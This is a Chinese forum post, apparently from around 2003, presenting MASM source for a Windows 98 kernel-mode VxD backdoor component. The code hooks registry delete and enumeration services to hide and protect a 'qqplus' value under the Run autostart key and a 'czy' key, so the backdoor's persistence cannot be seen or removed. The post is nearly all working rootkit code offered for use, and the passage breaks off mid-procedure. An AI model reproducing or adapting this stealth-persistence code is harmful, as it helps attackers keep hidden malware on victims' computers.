win9x内核后门开发技术之注册表保护

作者:czy

www.chinansl.com/czy/reg.rar

驱动加载文件代码在最后


win9x内核后门开发技术之注册表保护
                                                         czy82于03.06
;在f-king这儿第一次发出来,其实在隐藏注册表键值这儿还是有小问题
;注册表保护操作,隐藏注册表键值,保护特殊键值,主键不被删除
;开发环境98ddk,masm6.1
.386p

.XLIST

INCLUDE VMM.Inc
INCLUDE ../../inc/win98/vwin32.inc
include ../../inc/win98/vmmreg.inc
INCLUDE Shell.Inc

.LIST

;VxD声明

Declare_Virtual_Device REG,1,0,VxD_Control,Undefined_Device_ID,UNDEFINED_INIT_ORDER

VxD_LOCKED_DATA_SEG
RealRegDELKey      dd 0
RealRegDELvalue      dd 0
RealRegEnumvalue dd 0
pPrevHookEnumKey dd 0
szvalue             dd 0h
RetAddr            dd 0h
Retvalue      dd 0h
VxD_LOCKED_DATA_ENDS

VxD_PAGEABLE_DATA_SEG
    MsgTitle      db "VxD MessageBox",0
    open      db "open this key",0
    PathName      db "Software/Microsoft/Windows/CurrentVersion/Run",0
    valueName      db "qqplus",0
    openpath  db 0
    sKeyNameForEnum db "czy",0
VxD_PAGEABLE_DATA_ENDS


VxD_CODE_SEG

;系统控制过程

BeginProc VxD_Control
Control_Dispatch W32_DEVICEIOCONTROL,VxD_IOCTL
clc
ret
EndProc VxD_Control




BeginProc HookRegDELKey, service, hook_proc, RealRegDELKey, locked
        ArgVar hkey, DWORD
        ArgVar lpszSubKey, DWORD
        EnterProc                          

       VMMCall _lstrcmpi, <OFFSET32 PathName, dword ptr [lpszSubKey]>      
     cmp     eax, 0            
        jne      @@notmykey
        
        LeaveProc
     Return            
      
@@notmykey:

     LeaveProc
     jmp      [RealRegDELKey]
     Return      
EndProc HookRegDELKey

BeginProc HookRegDELvalue, service, hook_proc, RealRegDELvalue, locked
        ArgVar hkey, DWORD
        ArgVar lpszvalue, DW